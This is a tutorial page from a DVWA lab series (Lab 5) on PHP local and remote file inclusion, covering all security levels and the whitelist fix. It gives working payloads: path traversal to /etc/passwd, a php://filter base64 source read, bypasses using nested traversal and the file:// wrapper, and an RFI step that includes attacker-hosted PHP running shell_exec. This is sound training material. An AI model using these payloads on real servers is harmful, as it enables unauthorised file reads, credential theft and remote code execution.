DVWA File Inclusion Lab 2026 — Hack Hidden Files In 1 Minute Hacking Lab 5

🧪 DVWA Lab Series — #5 of 30
Topic: File Inclusion — LFI & RFI
Next: File Upload Lab →

⚠️ Lab Environment Only: All file inclusion techniques in this guide are practised against your local DVWA instance at 127.0.0.1 only. File inclusion attacks against systems you do not own or have explicit written authorisation to test are illegal.

LFI turns a PHP include parameter into a direct path to every readable file on the server — /etc/passwd, database credentials, SSH keys, and application source code. The bypass from Low to High is elegantly simple. The PHP filter wrapper trick turns a read vulnerability into source code disclosure for every file on the web server. Lab 5 is where file paths become weapons.

The dvwa file inclusion lab 2026 is Lab 5 of the DVWA series and one of the most practically valuable exercises in the collection — file inclusion vulnerabilities directly enable reading arbitrary server files, executing remote code, and chaining into critical web application compromises. This dvwa file inclusion lab 2026 guide covers Low, Medium, and High security levels across both local file inclusion (LFI) and remote file inclusion (RFI) attack types, using the path traversal dvwa technique to navigate the server’s directory structure.

The dvwa file inclusion lab exercise teaches the core principle: whenever a PHP application includes files using user-supplied input in a require() or include() call without sanitisation, the attacker controls what file the server loads. Local file inclusion dvwa technique uses path traversal dvwa sequences to read files outside the web root. Dvwa rfi exploit takes it further — if the server allows remote URLs, the attacker serves a malicious PHP file on their own server and the target application includes and executes it.

🎯 What You’ll Master in Lab 5

Exploit basic LFI with directory traversal to read /etc/passwd

Use the PHP filter wrapper to read PHP source code as base64

Bypass Medium security’s string replacement with double-encoding

Bypass High security’s fnmatch check with the file:// wrapper

Understand why a whitelist is the only reliable fix

⏱️ 20 min read · 3 hands-on exercises

📋 What This Lab Covers

How File Inclusion Works in PHP
Low Security — Basic LFI & PHP Wrappers
Medium Security — Traversal Filter Bypass
High Security — File Wrapper Bypass
Impossible Security — Whitelist
RFI — Remote File Inclusion Explained

Complete Lab 4 (CSRF) before starting this lab. Navigate to http://127.0.0.1/dvwa/vulnerabilities/fi/ with Security Level set to Low.

How File Inclusion Works in PHP

PHP’s include() and require() functions load and execute a PHP file at the specified path. When the path contains user input without validation, the attacker controls which file gets included. The server reads and executes whatever path is supplied.

VULNERABLE PHP CODE — DVWA LOW LEVEL

# Low security source (from dvwa/vulnerabilities/fi/source/low.php):

<?php

$file = $_GET[ ‘page’ ];

include( $file );

# User input goes directly into include() — zero validation

# Normal usage: ?page=include.php

# Attack: ?page=../../../../etc/passwd

Low Security — Basic LFI & PHP Wrappers

🛠️ EXERCISE 1 — BROWSER (LFI + PHP FILTER WRAPPER)

Read /etc/passwd and PHP source code via LFI on Low security

⏱️ Time: 10 minutes · Target: DVWA at 127.0.0.1 — Low security

Part A — Read /etc/passwd with path traversal:

URL: http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd

The ../ sequences traverse up the directory tree:
– Start: /var/www/html/dvwa/vulnerabilities/fi/
– ../../../../ → / (filesystem root)
– etc/passwd → /etc/passwd

Expected output: root:x:0:0:root:/root:/bin/bash (first line of /etc/passwd)

Part B — Read PHP source via PHP filter wrapper (without executing it):

URL: http://127.0.0.1/dvwa/vulnerabilities/fi/
?page=php://filter/convert.base64-encode/resource=index.php

The php://filter wrapper reads the file and base64-encodes it
instead of executing it. Copy the base64 output and decode:

In Kali terminal:
echo ‘BASE64_OUTPUT_HERE’ | base64 -d

You now see the raw PHP source code of index.php

✅ What you just learned: Path traversal reads system files. The PHP filter wrapper reads PHP files as source code instead of executing them — critical for finding hardcoded database credentials, API keys, and business logic vulnerabilities that would be invisible in the rendered page output.

📸 Screenshot /etc/passwd output and share in #dvwa-lfi on Discord.

Medium Security — Traversal Filter Bypass

Medium security adds a str_replace() call that removes ../ and ..\ from the input. The flaw: str_replace() is not recursive — it replaces the pattern once, but does not recheck the result. Nesting the traversal sequences inside each other defeats it.

MEDIUM SECURITY BYPASS PAYLOADS

# Medium strips “../” → but what if we nest it?

# After str_replace removes ../ from “….//”, what remains?

….//….//….//etc/passwd

# str_replace removes ../ leaving: ../../../etc/passwd ✅

# Alternative — URL encode the dot-dot-slash:

..%2F..%2F..%2F..%2Fetc%2Fpasswd

# str_replace looks for “../” not “%2F” — bypassed

# Full URLs for DVWA Medium:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=….//….//….//etc/passwd

🧠 EXERCISE 2 — THINK LIKE A HACKER (3 MIN)

Why is str_replace() fundamentally the wrong approach for path sanitisation?

⏱️ Time: 3 minutes · No tools required

Medium security uses: str_replace(array(‘../’, ‘..\’), ”, $file)

Think through all the ways this fails:
1. What happens to “….//….//etc/passwd” after str_replace?
2. Can you URL-encode the slash to bypass the string match?
3. What about double URL-encoding (%252F)?
4. What if you use an absolute path (/etc/passwd) instead of traversal?
5. Why would a blacklist approach always lose to an attacker?

✅ What you just learned: Blacklist approaches (block known bad patterns) always fail because there are too many encoding and bypass variations. The correct approach is a whitelist (allow only known good values). An absolute path like /etc/passwd bypasses all traversal detection entirely — the filter never even triggers because there is no ../ in the payload.

📸 Write your answers and share in #dvwa-lfi on Discord.

High Security — File Wrapper Bypass

High security uses fnmatch("file*", $file) — it requires the filename to start with the string “file”. The bypass is obvious once you know PHP’s file:// stream wrapper exists: file:///etc/passwd starts with “file” — the check passes, the file is included.

HIGH SECURITY BYPASS

# High security check: fnmatch(“file*”, $file)

# Requires filename to start with “file”

# PHP file:// wrapper starts with “file” — check passes!

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///etc/passwd

# fnmatch(“file*”, “file:///etc/passwd”) → TRUE → include() runs → file read

# Also works for other system files:

?page=file:///etc/hosts

?page=file:///var/www/html/dvwa/config/config.inc.php

Impossible Security — Whitelist

The Impossible level defines an array of allowed filenames and checks if the input matches exactly. No traversal, no wrapper, no encoding — if the value is not in the whitelist array, the request is rejected. This is the only reliable defence against file inclusion.

IMPOSSIBLE SECURITY — WHITELIST APPROACH

# Impossible level source (simplified):

$file = $_GET[ ‘page’ ];

if( $file != “include.php” && $file != “file1.php”

&& $file != “file2.php” && $file != “file3.php” ) {

echo “ERROR: File not found!”;

exit;

}

# Any path traversal → not in whitelist → rejected

# Any PHP wrapper → not in whitelist → rejected

# Any absolute path → not in whitelist → rejected

# This is the only correct approach

RFI — Remote File Inclusion Explained

Remote File Inclusion occurs when the PHP configuration has allow_url_include = On (disabled by default in modern PHP). With RFI, the include() call fetches a remote URL — an attacker can host a PHP file on their own server containing a reverse shell, and the target server will download and execute it.

🔥 EXERCISE 3 — KALI TERMINAL (ENABLE & TEST RFI)

Enable allow_url_include in your DVWA container and test Remote File Inclusion

⏱️ Time: 15 minutes · Target: DVWA Docker container

ENABLE RFI AND HOST MALICIOUS PHP FILE

# Step 1 — Enable allow_url_include in DVWA Docker container

docker exec dvwa bash -c “echo ‘allow_url_include = On’ >> /etc/php/8.2/apache2/php.ini”

docker exec dvwa service apache2 restart

# Step 2 — Create a simple PHP test file on your Kali machine

echo ‘<?php echo “RFI CONFIRMED: ” . shell_exec(“id”); ?>’ > /tmp/test.php

# Step 3 — Serve it with Python HTTP server

cd /tmp && python3 -m http.server 8888

# Step 4 — In browser, test RFI (your Kali IP, not localhost)

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://YOUR-KALI-IP:8888/test.php

# If RFI works: “RFI CONFIRMED: uid=33(www-data)” appears in page

# Step 5 — Find your Kali IP (run in separate terminal)

ip addr show | grep ‘inet ‘ | grep -v 127

✅ What you just learned: With allow_url_include enabled, a single URL parameter lets an attacker execute arbitrary PHP code on the server — downloading and running any file from any internet-accessible server. This is why allow_url_include has been disabled by default in PHP since version 5.2. RFI on a modern default PHP install is not possible — but legacy applications on old PHP configurations still exist in production.

📸 Screenshot the RFI output showing the id command result and share in #dvwa-rfi on Discord. Tag #dvwalab5

The dvwa lfi walkthrough at Low security starts with the simplest path traversal dvwa approach. The URL parameter page=include.php is the injection point. The local file inclusion dvwa payload: page=../../../../etc/passwd. Each ../ traverses one directory upward. The number of traversals needed depends on how deeply the web root is nested — the dvwa file inclusion lab 2026 Low level accepts the payload without any filtering. The response contains the contents of /etc/passwd — a confirmed dvwa lfi walkthrough success.

The php file inclusion technique for escalating LFI to code execution uses the PHP wrapper php://filter/convert.base64-encode/resource= to read PHP source files without executing them. This is the dvwa file inclusion lab technique that reveals database credentials from config.php: page=php://filter/convert.base64-encode/resource=../config. Decode the base64 output and you have the raw PHP source — including any hardcoded credentials. This dvwa lfi walkthrough technique maps directly to real bug bounty findings rated High to Critical.

🧠 QUICK CHECK — Lab 5

Why does the PHP filter wrapper (php://filter/convert.base64-encode/resource=…) not execute the PHP file it reads?

📋 Lab 5 Reference — File Inclusion Key Payloads

?page=../../../../etc/passwdBasic LFI with directory traversal — Low security

?page=php://filter/convert.base64-encode/resource=index.phpPHP filter wrapper — read PHP source code as base64

?page=….//….//….//etc/passwdNested traversal — bypasses str_replace() on Medium security

?page=file:///etc/passwdfile:// wrapper — bypasses fnmatch(“file*”) check on High security

🏆 Lab 5 Complete — File Inclusion Mastered

LFI, PHP wrappers, filter bypasses, RFI — all four levels done.

← Previous

Lab 4: CSRF

Lab 6: File Upload

📚 Further Reading

DVWA Lab 4: CSRF — The previous lab — forge cross-site requests, change passwords, and understand anti-CSRF token implementation at all four security levels.
DVWA Labs Hub — The complete 30-lab DVWA series from setup through advanced exploitation techniques and vulnerability chaining.
SQL Injection Tutorial 2026 — SQL injection is frequently found alongside LFI on the same applications — both exploit insufficient input validation in different contexts.
OWASP: Testing for LFI — OWASP’s comprehensive LFI testing guide covering all bypass techniques, PHP wrapper variants, and log poisoning for code execution.
PHP Manual: Supported URL Wrappers — Official PHP documentation for all stream wrappers — php://, file://, data://, expect:// and their security implications for file inclusion vulnerabilities.

Mr Elite

Owner, SecurityElites.com

The PHP filter wrapper trick is the one I see most people miss when they learn LFI — they focus on reading /etc/passwd and stop there. But the ability to read PHP source code is often more valuable than reading system files. In one web application assessment I used the filter wrapper to read the main config file, which contained the database root password. That same password was reused on the SSH service. One LFI parameter, one base64-decoded config file, root access to the server. The lesson: when you find LFI, always enumerate the web application files before reaching for system files.

Lab 5: DVWA File Inclusion Lab 2026 — Hack Hidden Files in 1 Minute